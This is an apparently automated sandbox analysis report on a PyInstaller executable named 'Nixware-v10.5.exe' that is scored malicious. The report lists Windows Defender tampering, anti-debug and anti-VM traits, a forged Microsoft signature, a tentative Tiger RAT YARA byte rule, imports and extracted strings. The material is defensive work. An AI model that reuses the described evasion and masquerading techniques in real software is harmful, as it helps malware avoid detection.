Nixware-v10.5.exetigerrat analysis report - Malicious
Run integrity
sample ranThe guest staged the sample and launched it, so what follows describes this file rather than an empty desktop.
11.3sto launch
567telemetry events
437observed
37agent notes
Malicious
100/100
30 points past the malicious line at 70.
Clean0-34
Suspicious35-69
Malicious70-100
Why this verdict
+62
Runtime behavior
- Dropped an executable to disk
- 2 living-off-the-land binary abuse(s)
- 7 Sigma rule match(es): Tamper Windows Defender - ScriptBlockLogging, Powershell Defender Disable Scan Feature, Windows Defender Exclusions Added - PowerShell
+35
Malware family
- Identified as Tiger RAT (possible confidence, named by static_yara)
+34
Static analysis
- 1 high-risk capability(ies): sandbox evasion
- 4 supporting capabilities in one unsigned binary: file discovery, obfuscation, process discovery, system information
- Signature does not match the file - it claims Microsoft Windows (signed content was altered, or the signature was copied from elsewhere)
+0
Model review
- findings review (advisory, not scored): malicious - sandbox evasion detection, process spawning (cmd and powershell), windows defender tampering, defender exclusion addition
Model reading
Measured
MALICIOUS100 of 100
Evidence ledger above, row by row. Published verdict rests on this column and on nothing to its right.
Model reads it asadvisory, no points
NOT ASSESSEDnot shown on this page
Reads this report's derived findings, never the sample itself.
A model reading exists for this scan and is shown to the submitter and to staff only. It is a second opinion about evidence the score already priced, it is worth no points, and on a public page it would stand beside the verdict with no grounding a stranger could check.
Analysis layers
Static
ran
moved the score
Dynamic
ran
moved the score
Threat intel
local feeds only
no points
AI
not included
Malware family
1 independent source
Tiger RAT
possible
Named by a single source. Treat it as a lead rather than a classification.
| Layer | Source | What it matched |
|---|---|---|
| static_yara | rule corpus | TigerRAT_pe_yaraify |
Detection signatures
13 detected · 7 withheld as common| Severity | Detection | Evidence | Layer |
|---|---|---|---|
| MED |
Anti-analysis strings present
MITRE T1497
|
string
isdebuggerpresent
matched string
|
static |
| MED |
Dropped an executable to disk
MITRE T1105
|
file
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
dropped
file
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-console-l1-1-0.dll
dropped
file
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-datetime-l1-1-0.dll
dropped
file
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-debug-l1-1-0.dll
dropped
|
dynamic |
| MED |
Executes external code / commands
MITRE T1059
confirmed at runtime, seen in 30% of benign software statically
|
capability
createprocessw
capability: execution
|
static |
| MED |
High file entropy (encrypted/compressed payload)
MITRE T1027
|
entropy
7.99
threshold 7.20, maximum 8.00
|
static |
| MED |
LOLBin abuse: cmd chained command execution
MITRE T1059.003
|
command
cmd
observed command line
|
dynamic |
| MED |
Surveillance/keylogging strings
MITRE T1056
|
string
getdc
matched string
|
static |
| LOW |
Changes the desktop wallpaper (ransom note)
MITRE T1491
seen in 8% of benign software
|
import
user32.dll!SystemParametersInfoW
|
static |
| LOW |
Deletes files/backups (WriteFile + DeleteFile recursion)
MITRE T1485
seen in 14% of benign software
|
import
kernel32.dll!DeleteFileW
requires deletefile
import
kernel32.dll!FindNextFileW
requires findnextfile
|
static |
| LOW |
Drops + executes from temp (GetTempPath + CreateProcess)
MITRE T1204
seen in 7% of benign software
|
import
kernel32.dll!GetTempPathW
requires gettemppath
import
kernel32.dll!CreateProcessW
requires createprocess
|
static |
| LOW |
Hides its window (ShowWindow SW_HIDE pattern)
MITRE T1564.003
seen in 13% of benign software
|
import
user32.dll!ShowWindow
|
static |
| LOW |
Screen-capture capability
MITRE T1113
seen in 8% of benign software
|
capability
getdc
capability: screen_capture
|
static |
| LOW |
Spawns child processes
MITRE T1106
seen in 16% of benign software
|
import
kernel32.dll!CreateProcessW
|
static |
| INFO |
Stages in the temp directory (GetTempPath)
MITRE T1074
seen in 15% of benign software
|
import
kernel32.dll!GetTempPathW
|
static |
Withheld: 7 rules fired and were not reported above
These rules matched this sample, and they also match this much of known-clean software (measured over 1145 signed Windows and third-party binaries). A rule that fires on most clean files cannot move a verdict, so it is held back unless the detonation confirms the behaviour. They are listed because a count that shrinks without saying so is not a count an analyst can check.
Timing-based anti-analysis (QueryPerformanceCounter/rdtsc)
fires on 92% of benign software
Anti-debugging capability
fires on 65% of benign software
Dynamic API resolution (obfuscation)
fires on 65% of benign software
Anti-debug: checks for a debugger
fires on 60% of benign software
Resolves APIs dynamically (LoadLibrary + GetProcAddress)
fires on 49% of benign software
Reads its own startup info (parent/desktop check)
fires on 36% of benign software
Enumerates files recursively (staging/collection)
fires on 21% of benign software
What the tests returned
6 testsEach test this run performed and what it returned. A test that was not performed says so rather than reading as a negative result.
| Test | Result |
|---|---|
| Persistence mechanisms | none established at runtime |
| Cross-process injection | none observed |
| Network connections | not tested - internet was disabled |
| Known-malicious hash (reputation sources) | no source reported this file |
| Local anti-virus engine | reported no detection |
| Anti-analysis / evasion checks | not measured on this run - no in-process API monitor reported in, so the runtime anti-debug and anti-VM calls were never watched |
Absence of an observation is not proof of absence - see Coverage for what this run could and could not test.
Arguing against malice
- The local anti-virus engine reported no detection.
- No reputation source reported this file as malicious.
How much weight this carries
Confirmed. Independent external evidence, or the same behaviour seen by more than one analysis layer. The one fact that decided it: several independent runtime observations.
Structure
What the file is made of: headers, imports, how it was built and whether it was signed.
Sections & resources
How the file is laid out in memory, and what is embedded in it: section roles, access rights, entropy and every resource entry.
Signatures & packing
What matched and what is hidden: signature rules, detected capabilities, family attribution, packer detection, unpacked payloads and recovered configuration.
Strings
The readable content: embedded secrets, flagged strings and everything extraction recovered.
Code
What the sample would execute: the emulated API call sequence, and the disassembled entry point.
Signature
PyInstaller[overlay; modified]
CompilerMicrosoft Visual C/C++(19.36.34123)[C]
LinkerMicrosoft Linker(14.36.34123)
Identity
File
typeexecutable
size8.4 MB
file arch64-bit (x64)
subsystemGUI
entropy7.9942
date2025-02-26 15:27:58 UTC
version10.0.26100.1882 (WinBuild.160101.0800)
descriptionBitLocker Unlock
productMicrosoft® Windows® Operating System
original nameBDEUNLOCK.EXE
languageNEU
Antivirus engine
no signature matchedNothing in the signature set below matched this file. That is one engine's negative answer against one signature set on one day, and it is not a verdict. A signature engine only recognises what has already been named and published, so a file nobody has named yet scans exactly like a file that is harmless. What this file does when it runs is the stronger evidence; read the behaviour sections for that.
This run did not record which signature set answered, so the result above cannot be tied to a named set or reproduced against one. Recording the set began part way through this platform's history, and this scan predates it.
Local ML assessment
no model scoreThis scan ran before the local classifier was installed on this host, so no model score was produced for it. Submitting the same file again produces one.
Structural rules of thumb, not a model. 1 cheap static signal fired, for 30 of 100 on a rule-of-thumb scale that is deliberately left out of the verdict score: the packing, entropy and signing cards on this report already price the same facts, and counting them a second time under a machine-learning heading would charge one piece of evidence twice.
- high entropy 7.9942
Packing
Not packed
This file's code is readable on disk - nothing is compressed or encrypted around it.
12/100
packer confidence
Static analysis reads this file directly
Nothing is hiding the code from a static pass, so what the file contains is what the report shows.
Indicators weighed 1 signal
- High-entropy overlay (8.0, 8572944 bytes)
Secrets & malicious strings
2 flagged stringsFlagged string categories
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| isdebuggerpresent | import table | KERNEL32.dll!IsDebuggerPresent |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| getdc | import table | USER32.dll!GetDC |
Capabilities
7 behaviour buckets · 2 high-risk| Severity | Capability | MITRE | APIs |
|---|---|---|---|
| high | Anti-debugging Detects or obstructs a debugger |
T1622 | isdebuggerpresent |
| high | Privilege escalation Adjusts tokens / privileges |
T1134 | openprocesstoken |
| med | Evasion / stalling Sleeps, times, or otherwise stalls analysis |
T1497, T1497.003 | getsystemtimeasfiletime, queryperformancecounter, sleep |
| med | Ransomware behaviour Enumerates + encrypts files, deletes backups |
T1083 | findfirstfilew, findnextfilew |
| med | Dynamic API resolution Resolves APIs at runtime (obfuscation) |
T1129 | getprocaddress |
| med | Screen capture Grabs the screen / clipboard |
T1113 | getdc |
| med | Code execution Creates processes / runs commands or shellcode |
T1106 | createprocessw |
Security mitigations
strong posture
ON
ASLR (DynamicBase)
ON
High-entropy ASLR (64-bit)
ON
DEP / NX (NxCompat)
ON
Control Flow Guard
OFF
SafeSEH
ON
Stack cookies (GS)
OFF
Force Integrity
OFF
AppContainer isolation
OFF
Authenticode signed
Rich header (toolchain)
richhash 1ecd8dacf9824186| Tool | Build | Uses |
|---|---|---|
| Utc1900 (VS2017) | 30795 | 7 |
| Export 14.10 | 30795 | 180 |
| Cvtres 14.10 | 30795 | 10 |
| prodid_253 | 33808 | 3 |
| Utc1900 (VS2017) | 33808 | 9 |
| Cvtres 14.10 | 33808 | 17 |
| Export 14.10 | 33808 | 40 |
| Utc1900 (VS2017) | 30795 | 11 |
| Import (linker) | 0 | 155 |
| Cvtres 14.10 | 34123 | 25 |
| AliasObj 14.10 | 34123 | 1 |
Sections
6 sections · the file's memory layout| Section | Virtual addr | Raw size | Virtual size | Access | Entropy |
|---|---|---|---|---|---|
|
.textEP
Executable code
|
0x1000 |
168.0 KB
|
167.9 KB
|
EXECUTEREAD
|
6.4892
|
|
.rdata
Read-only data
|
0x2b000 |
75.0 KB
|
74.5 KB
|
READ
|
5.7508
|
|
.data
Initialised data
|
0x3e000 |
3.5 KB
|
21.0 KB
expands
|
READWRITE
|
1.8392
|
|
.pdata
Exception unwind data
|
0x44000 |
9.0 KB
|
8.6 KB
|
READ
|
5.2645
|
|
.rsrc
Resources
|
0x47000 |
2.5 KB
|
2.4 KB
|
READ
|
5.109
|
|
.reloc
Base relocations
|
0x48000 |
2.0 KB
|
1.8 KB
|
READ
|
5.281
|
code
data
imports/exports
resources
metadata
packer
non-standard
Entropy above 7.0 means compressed or encrypted content.
Imports
143 funcs / 5 DLLs · 7 suspicious▸USER32.dll28 funcs
| Name | File RVA | Is undocumented | MITRE (tactic - technique) |
|---|---|---|---|
| CreateWindowExW | 0x0002b3b8 | - | - |
| ShutdownBlockReasonCreate | 0x0002b3c0 | - | - |
| MsgWaitForMultipleObjects | 0x0002b3c8 | - | - |
| ShowWindow | 0x0002b3d0 | - | - |
| DestroyWindow | 0x0002b3d8 | - | - |
| RegisterClassW | 0x0002b3e0 | - | - |
| DefWindowProcW | 0x0002b3e8 | - | - |
| PeekMessageW | 0x0002b3f0 | - | - |
| DispatchMessageW | 0x0002b3f8 | - | - |
| TranslateMessage | 0x0002b400 | - | - |
| PostMessageW | 0x0002b408 | - | - |
| GetMessageW | 0x0002b410 | - | - |
| MessageBoxW | 0x0002b418 | - | - |
| MessageBoxA | 0x0002b420 | - | - |
| SystemParametersInfoW | 0x0002b428 | - | - |
| DestroyIcon | 0x0002b430 | - | - |
| SetWindowLongPtrW | 0x0002b438 | - | - |
| GetWindowLongPtrW | 0x0002b440 | - | - |
| GetClientRect | 0x0002b448 | - | - |
| InvalidateRect | 0x0002b450 | - | - |
| ReleaseDC | 0x0002b458 | - | - |
| GetDC | 0x0002b460 | - | - |
| DrawTextW | 0x0002b468 | - | - |
| GetDialogBaseUnits | 0x0002b470 | - | - |
| EndDialog | 0x0002b478 | - | - |
| DialogBoxIndirectParamW | 0x0002b480 | - | - |
| MoveWindow | 0x0002b488 | - | - |
| SendMessageW | 0x0002b490 | - | - |
▸COMCTL32.dll1 func
| Name | File RVA | Is undocumented | MITRE (tactic - technique) |
|---|---|---|---|
| ordinal_380 | 0x0002b028 | yes | - |
▸KERNEL32.dll107 funcs 6 suspicious
| Name | File RVA | Is undocumented | MITRE (tactic - technique) |
|---|---|---|---|
| GetACP | 0x0002b058 | - | - |
| IsValidCodePage | 0x0002b060 | - | - |
| GetStringTypeW | 0x0002b068 | - | - |
| GetFileAttributesExW | 0x0002b070 | - | - |
| SetEnvironmentVariableW | 0x0002b078 | - | - |
| FlushFileBuffers | 0x0002b080 | - | - |
| GetCurrentDirectoryW | 0x0002b088 | - | - |
| LCMapStringW | 0x0002b090 | - | - |
| CompareStringW | 0x0002b098 | - | - |
| FlsFree | 0x0002b0a0 | - | - |
| GetOEMCP | 0x0002b0a8 | - | - |
| GetCPInfo | 0x0002b0b0 | - | - |
| GetModuleHandleW | 0x0002b0b8 | - | - |
| MulDiv | 0x0002b0c0 | - | - |
| FormatMessageW | 0x0002b0c8 | - | - |
| GetLastError | 0x0002b0d0 | - | - |
| GetModuleFileNameW | 0x0002b0d8 | - | - |
| LoadLibraryExW | 0x0002b0e0 | - | - |
| SetDllDirectoryW | 0x0002b0e8 | - | - |
| CreateSymbolicLinkW | 0x0002b0f0 | - | - |
| GetProcAddress | 0x0002b0f8 | - | T1129 |
| GetEnvironmentStringsW | 0x0002b100 | - | - |
| GetCommandLineW | 0x0002b108 | - | - |
| GetEnvironmentVariableW | 0x0002b110 | - | - |
| ExpandEnvironmentStringsW | 0x0002b118 | - | - |
| DeleteFileW | 0x0002b120 | - | - |
| FindClose | 0x0002b128 | - | - |
| FindFirstFileW | 0x0002b130 | - | T1083 |
| FindNextFileW | 0x0002b138 | - | T1083 |
| GetDriveTypeW | 0x0002b140 | - | - |
| RemoveDirectoryW | 0x0002b148 | - | - |
| GetTempPathW | 0x0002b150 | - | - |
| CloseHandle | 0x0002b158 | - | - |
| QueryPerformanceCounter | 0x0002b160 | - | T1497 |
| QueryPerformanceFrequency | 0x0002b168 | - | - |
| WaitForSingleObject | 0x0002b170 | - | - |
| Sleep | 0x0002b178 | - | - |
| GetCurrentProcess | 0x0002b180 | - | - |
| TerminateProcess | 0x0002b188 | - | - |
| GetExitCodeProcess | 0x0002b190 | - | - |
| CreateProcessW | 0x0002b198 | - | T1106 |
| GetStartupInfoW | 0x0002b1a0 | - | - |
| FreeLibrary | 0x0002b1a8 | - | - |
| LocalFree | 0x0002b1b0 | - | - |
| SetConsoleCtrlHandler | 0x0002b1b8 | - | - |
| K32EnumProcessModules | 0x0002b1c0 | - | - |
| K32GetModuleFileNameExW | 0x0002b1c8 | - | - |
| CreateFileW | 0x0002b1d0 | - | - |
| FindFirstFileExW | 0x0002b1d8 | - | - |
| GetFinalPathNameByHandleW | 0x0002b1e0 | - | - |
| MultiByteToWideChar | 0x0002b1e8 | - | - |
| WideCharToMultiByte | 0x0002b1f0 | - | - |
| FlsSetValue | 0x0002b1f8 | - | - |
| FreeEnvironmentStringsW | 0x0002b200 | - | - |
| GetProcessHeap | 0x0002b208 | - | - |
| GetTimeZoneInformation | 0x0002b210 | - | - |
| HeapSize | 0x0002b218 | - | - |
| HeapReAlloc | 0x0002b220 | - | - |
| WriteConsoleW | 0x0002b228 | - | - |
| SetEndOfFile | 0x0002b230 | - | - |
| CreateDirectoryW | 0x0002b238 | - | - |
| RtlCaptureContext | 0x0002b240 | yes | - |
| RtlLookupFunctionEntry | 0x0002b248 | yes | - |
| RtlVirtualUnwind | 0x0002b250 | yes | - |
| UnhandledExceptionFilter | 0x0002b258 | - | - |
| SetUnhandledExceptionFilter | 0x0002b260 | - | - |
| IsProcessorFeaturePresent | 0x0002b268 | - | - |
| GetCurrentProcessId | 0x0002b270 | - | - |
| GetCurrentThreadId | 0x0002b278 | - | - |
| GetSystemTimeAsFileTime | 0x0002b280 | - | - |
| InitializeSListHead | 0x0002b288 | - | - |
| IsDebuggerPresent | 0x0002b290 | - | T1622 |
| RtlUnwindEx | 0x0002b298 | yes | - |
| SetLastError | 0x0002b2a0 | - | - |
| EnterCriticalSection | 0x0002b2a8 | - | - |
| LeaveCriticalSection | 0x0002b2b0 | - | - |
| DeleteCriticalSection | 0x0002b2b8 | - | - |
| InitializeCriticalSectionAndSpinCount | 0x0002b2c0 | - | - |
| TlsAlloc | 0x0002b2c8 | - | - |
| TlsGetValue | 0x0002b2d0 | - | - |
| TlsSetValue | 0x0002b2d8 | - | - |
| TlsFree | 0x0002b2e0 | - | - |
| EncodePointer | 0x0002b2e8 | - | - |
| RaiseException | 0x0002b2f0 | - | - |
| RtlPcToFileHeader | 0x0002b2f8 | yes | - |
| GetCommandLineA | 0x0002b300 | - | - |
| GetFileInformationByHandle | 0x0002b308 | - | - |
| GetFileType | 0x0002b310 | - | - |
| PeekNamedPipe | 0x0002b318 | - | - |
| SystemTimeToTzSpecificLocalTime | 0x0002b320 | - | - |
| FileTimeToSystemTime | 0x0002b328 | - | - |
| ReadFile | 0x0002b330 | - | - |
| GetFullPathNameW | 0x0002b338 | - | - |
| SetStdHandle | 0x0002b340 | - | - |
| GetStdHandle | 0x0002b348 | - | - |
| WriteFile | 0x0002b350 | - | - |
| ExitProcess | 0x0002b358 | - | - |
| GetModuleHandleExW | 0x0002b360 | - | - |
| HeapFree | 0x0002b368 | - | - |
| GetConsoleMode | 0x0002b370 | - | - |
| ReadConsoleW | 0x0002b378 | - | - |
| SetFilePointerEx | 0x0002b380 | - | - |
| GetConsoleOutputCP | 0x0002b388 | - | - |
| GetFileSizeEx | 0x0002b390 | - | - |
| HeapAlloc | 0x0002b398 | - | - |
| FlsAlloc | 0x0002b3a0 | - | - |
| FlsGetValue | 0x0002b3a8 | - | - |
▸ADVAPI32.dll4 funcs 1 suspicious
| Name | File RVA | Is undocumented | MITRE (tactic - technique) |
|---|---|---|---|
| OpenProcessToken | 0x0002b000 | - | T1134 |
| GetTokenInformation | 0x0002b008 | - | - |
| ConvertStringSecurityDescriptorToSecurityDescriptorW | 0x0002b010 | - | - |
| ConvertSidToStringSidW | 0x0002b018 | - | - |
▸GDI32.dll3 funcs
| Name | File RVA | Is undocumented | MITRE (tactic - technique) |
|---|---|---|---|
| SelectObject | 0x0002b038 | - | - |
| DeleteObject | 0x0002b040 | - | - |
| CreateFontIndirectW | 0x0002b048 | - | - |
Binary metadata
what the headers declare about this build| Resource langs | NEU |
|---|---|
| Debug info | yes |
| TLS callbacks | no |
Code signing
Signature does not match the fileMicrosoft Windows
issued by Microsoft Windows Production PCA 2011
| Signed by | Microsoft Windows |
|---|---|
| Issuer (CA) | Microsoft Windows Production PCA 2011 |
| Valid | 2023-11-16 → 2024-11-14 |
| Serial | 3300000460cf42a912315f6fb3000000000460 |
| Algorithm | SHA256-RSA |
Verification
Embedded signature: BAD DIGEST|BAD SIGNATURE
Chain verification: not verified
Certificate chain (2)
| Subject | Issuer | Valid to | Algo |
|---|---|---|---|
| Microsoft Windows | Microsoft Windows Production PCA … | 2024-11-14 | SHA256-RSA |
| Microsoft Windows Production PCA … | Microsoft Root Certificate Author… | 2026-10-19 | SHA256-RSA |
Resources
Everything the binary carries inside it: icons, bitmaps, cursors, dialogs, string tables, the manifest and the version block. Select an entry to preview it and take a copy.
Resources
Resource Hacker view
Manifest1Version Info1
▸Manifest1
1NEU
▸Version Info1
1NEU
Select a resource from the tree to inspect its language, size, RVA offset, MD5, entropy and detected content signature - like opening the binary in Resource Hacker.
Manifest 1
Download
| Type | Manifest |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 1.3 KB |
| RVA offset | 0x47458 |
| Content signature | XML manifest |
| MD5 | 84da8dee6b319ea0b10b6de5489c6aae |
| Entropy | 5.258 |
Application manifest
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
</windowsSettings>
</application>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/>
</dependentAssembly>
</dependency>
</assembly>
Version Info 1
Download
| Type | Version Info |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 952.0 B |
| RVA offset | 0x470a0 |
| Content signature | Version Info |
| MD5 | baffae6cf061e282110bbf0a28b9b82a |
| Entropy | 3.555 |
Parsed version info
| CompanyName | Microsoft Corporation |
|---|---|
| FileVersion | 10.0.26100.1882 (WinBuild.160101.0800) |
| ProductName | Microsoft® Windows® Operating System |
| InternalName | BDEUNLOCK |
| LegalCopyright | © Microsoft Corporation. All rights reserved. |
| ProductVersion | 10.0.26100.1882 |
| FileDescription | BitLocker Unlock |
| OleSelfRegister | D |
| OriginalFilename | BDEUNLOCK.EXE |
Similar samples
1 related sampleRanked by fuzzy hash (TLSH distance - lower is closer) and ssdeep similarity, plus an identical import table. A near-identical neighbour is usually the same build; a variant is the same family rebuilt or repacked.
| Relation | Sample | Verdict | Why it matched |
|---|---|---|---|
| related | CDRevive-Launcher_3.exe | Suspicious | identical import table (imphash) |
Threat classification
Signature family candidates| Family | Agreeing rules | Matched rules | Disposition |
|---|---|---|---|
| Tiger RAT | 1 | TigerRAT_pe_yaraify | Not a classification: one rule cannot establish a family, so this named nothing and scored nothing. |
Capability detection
34 capabilities| Capability | Namespace |
|---|---|
| link function at runtime on Windows | linking/runtime-linking |
| create process on Windows | host-interaction/process/create |
| create or open file | - |
| delay execution | - |
| create process suspended | host-interaction/process/create |
| encode data using XOR | data-manipulation/encoding/xor |
| PEB access | - |
| contain loop | - |
| read file on Windows | host-interaction/file-system/read |
| link many functions at runtime | linking/runtime-linking |
| create directory | host-interaction/file-system/create |
| terminate process | host-interaction/process/terminate |
| query environment variable | host-interaction/environment-variable |
| get disk information | host-interaction/hardware/storage |
| delete file | host-interaction/file-system/delete |
| delete directory | host-interaction/file-system/delete |
| enumerate files on Windows | host-interaction/file-system/files/list |
| enumerate files recursively | host-interaction/file-system/files/list |
| enumerate process modules | host-interaction/process/modules/list |
| get common file path | host-interaction/file-system |
| accept command line arguments | host-interaction/cli |
| check for time delay via QueryPerformanceCounter | anti-analysis/anti-debugging/debugger-detection |
| compute adler32 checksum | data-manipulation/checksum/adler32 |
| resolve function by parsing PE exports | load-code/pe |
| compress data via ZLIB inflate or deflate | data-manipulation/compression |
| parse PE header | load-code/pe |
| write file on Windows | host-interaction/file-system/write |
| get file size | host-interaction/file-system/meta |
| set environment variable | host-interaction/environment-variable |
| clear file content | host-interaction/file-system/write |
| reference anti-VM strings targeting Qemu | anti-analysis/anti-vm/vm-detection |
| reference anti-VM strings targeting Xen | anti-analysis/anti-vm/vm-detection |
| reference analysis tools strings | anti-analysis |
| linked against ZLIB | linking/static/zlib |
ATT&CK techniques
Defense Evasion::Obfuscated Files or Information [T1027]Defense Evasion::Virtualization/Sandbox Evasion::System Checks [T1497.001]Discovery::File and Directory Discovery [T1083]Discovery::Process Discovery [T1057]Discovery::System Information Discovery [T1082]Execution::Command and Scripting Interpreter [T1059]Execution::Shared Modules [T1129]
Malware Behavior Catalog
Anti-Behavioral Analysis::Debugger Detection::Process Environment BlockAnti-Behavioral Analysis::Debugger Detection::Timing/Delay Check QueryPerformanceCounterAnti-Behavioral Analysis::Dynamic Analysis Evasion::Delayed ExecutionAnti-Behavioral Analysis::Virtual Machine DetectionData::Checksum::AdlerData::Compress DataData::Compression LibraryData::Encode Data::XORDefense Evasion::Obfuscated Files or Information::Encoding-Standard AlgorithmDiscovery::Analysis Tool Discovery::Process detectionDiscovery::File and Directory DiscoveryDiscovery::System Information DiscoveryExecution::Command and Scripting InterpreterFile System::Create DirectoryFile System::Create FileFile System::Delete DirectoryFile System::Delete FileFile System::Read FileFile System::Writes FileOperating System::Environment Variable::Set VariableProcess::Create ProcessProcess::Create Process::Create Suspended ProcessProcess::Terminate Process
Signature matches
1 finding · 6 file properties · 0 scored| Rule | What it matched | Corpus | Weight |
|---|---|---|---|
|
TigerRAT_pe_yaraify
rule dated 2026-08-21
|
YARAify-tightened byte rule from 9 sample(s) -- VERIFY hits
1 of 1 string matched
$c0
\x0f\xb6\x08B\x0f\xb6\x14\x00+\xcau\x07H\xff\xc0\x85\xd2u\xed
at 0xe686
|
Tier 1 - curated family set
licence-gated and benign-tested; may name a malware family
|
SCORED 0
Scored 0: the rule declares no category. No branch of the score model reads it.
Names Tiger RAT, but one rule cannot establish a family: two independent rules must agree, so this named nothing.
|
File properties - not findings
IsPE64IsWindowsGUIIsPackedHasOverlayHasDebugDataHasRichSignature
These say what the file IS or holds - bitness, subsystem, an overlay, an embedded macro stream, which compiler built it. Ordinary files match several, and none of them carry weight in the score.
None of the rules above moved the score. The score model reads four rule categories - anti-vm, anti-debug, dropper and packer - and a rule outside them can match, and be worth reading, without being evidence the verdict is built on.
Extracted strings
showing 200 of 750- !This program cannot be run in DOS mode.
- `Rich0\
- .text
- `.rdata
- @.data
- .pdata
- @.rsrc
- @.reloc
- @UWAT
- t$ AVH
- l$ VWATAVAW
- @SATAUAV
- ineIA
- ntelD
- Genu
- VWATAVAWH
- @USVWATAUAVAWH
- p AWH
- VWATH
- @USVWATAVAWH
- utfD9A
- x ATAVAWH
- ATAVAWH
- p AWL
- l$ VWATAVAWH
- VWATAVAW
- @USWH
- svDE3
- ATAUAVH
- iygE3
- Failed to extract %s: inflateInit() failed with return code %d!
- Failed to extract %s: failed to allocate temporary input buffer!
- malloc
- Failed to extract %s: failed to allocate temporary output buffer!
- Failed to extract %s: decompression resulted in return code %d!
- Failed to extract %s: failed to allocate temporary buffer!
- Failed to extract %s: failed to read data chunk!
- fread
- Failed to extract %s: failed to write data chunk!
- fwrite
- Failed to extract %s: failed to open archive file!
- Failed to extract %s: failed to seek to the entry's data!
- fseek
- Failed to extract %s: failed to allocate data buffer (%u bytes)!
- Failed to create symbolic link %s!
- Failed to extract %s: failed to open target file!
- fopen
- Failed to seek to cookie position!
- Failed to read cookie!
- Could not allocate memory for archive structure!
- calloc
- Could not allocate buffer for TOC!
- Could not read full TOC!
- Error on file.
- [PYI-%d:%s]
- [PYI-%d:ERROR]
- %s: %s
- WARNING
- Warning [ANSI Fallback]
- ERROR
- Error [ANSI Fallback]
- %s%c%s
- Extraction path length exceeds maximum path length!
- File already exists but should not: %s
- Failed to create parent directory structure.
- Failed to extract entry: %s.
- traceback
- format_exception
- Could not get __main__ module.
- Could not get __main__ module's dict.
- Failed to extract script from archive!
- %s%c%s.py
- Absolute path to script exceeds PYI_PATH_MAX
- Failed to unmarshal code object for %s
- _pyi_main_co
- Traceback is disabled via bootloader option.
- PYINSTALLER_RESET_ENVIRONMENT
- _PYI_ARCHIVE_FILE
- _PYI_APPLICATION_HOME_DIR
- _PYI_PARENT_PROCESS_LEVEL
- _PYI_SPLASH_IPC
- Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s
- PYINSTALLER_STRICT_UNPACK_MODE
- Failed to initialize security descriptor for temporary directory!
- Could not create temporary directory!
- _PYI_APPLICATION_HOME_DIR not set for onefile child process!
- Path exceeds PYI_PATH_MAX limit.
- Failed to convert DLL search path!
- pyi-python-flag
- Py_GIL_DISABLED
- bye-runtime-tmpdir
- pyi-contents-directory
- pyi-disable-windowed-traceback
- PYINSTALLER_SUPPRESS_SPLASH_SCREEN
- Failed to load splash screen resources!
- Failed to unpack splash screen dependencies from PKG archive!
- Failed to load Tcl/Tk shared libraries for splash screen!
- Failed to start splash screen!
- Failed to remove temporary directory: %s
- Could not load PyInstaller's embedded PKG archive from the executable (%s)
- Could not side-load PyInstaller's PKG archive from external file (%s)
- Maximum archive pool size reached!
- Failed to open archive %s!
- %s%c%s%c%s%c%s
- %s%c%s%c%s
- Failed to copy file %s from %s!
- %s%c%s.pkg
- %s%c%s.exe
- Referenced dependency archive %s not found.
- Failed to open referenced dependency archive %s.
- Dependency %s not found in the referenced dependency archive.
- Failed to extract %s from referenced dependency archive %s.
- verbose
- unbuffered
- optimize
- hash_seed
- base_library.zip
- Py_DecRef
- Py_DecodeLocale
- Py_ExitStatusException
- Py_Finalize
- Py_InitializeFromConfig
- Py_IsInitialized
- Py_PreInitialize
- PyConfig_Clear
- PyConfig_InitIsolatedConfig
- PyConfig_Read
- PyConfig_SetBytesString
- PyConfig_SetString
- PyConfig_SetWideStringList
- PyErr_Clear
- PyErr_Fetch
- PyErr_NormalizeException
- PyErr_Occurred
- PyErr_Print
- PyErr_Restore
- PyEval_EvalCode
- PyImport_AddModule
- PyImport_ExecCodeModule
- PyImport_ImportModule
- PyMarshal_ReadObjectFromString
- PyMem_RawFree
- PyModule_GetDict
- PyObject_CallFunction
- PyObject_CallFunctionObjArgs
- PyObject_GetAttrString
- PyObject_SetAttrString
- PyObject_Str
- PyPreConfig_InitIsolatedConfig
- PyRun_SimpleStringFlags
- PyStatus_Exception
- PySys_GetObject
- PySys_SetObject
- PyUnicode_AsUTF8
- PyUnicode_Decode
- PyUnicode_DecodeFSDefault
- PyUnicode_FromFormat
- PyUnicode_FromString
- PyUnicode_Join
- PyUnicode_Replace
- Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)
- ucrtbase.dll
- Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)
- Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)
- Failed to parse run-time options!
- Failed to pre-initialize embedded python interpreter!
- Failed to allocate PyConfig structure! Unsupported python version?
- Failed to set program name!
- Failed to set python home path!
- Failed to set module search paths!
- Failed to set sys.argv!
- Failed to set run-time options!
- Failed to start embedded python interpreter!
- strict
- Failed to get _MEIPASS as PyObject.
- _MEIPASS
- Failed to unmarshal code object for module %s!
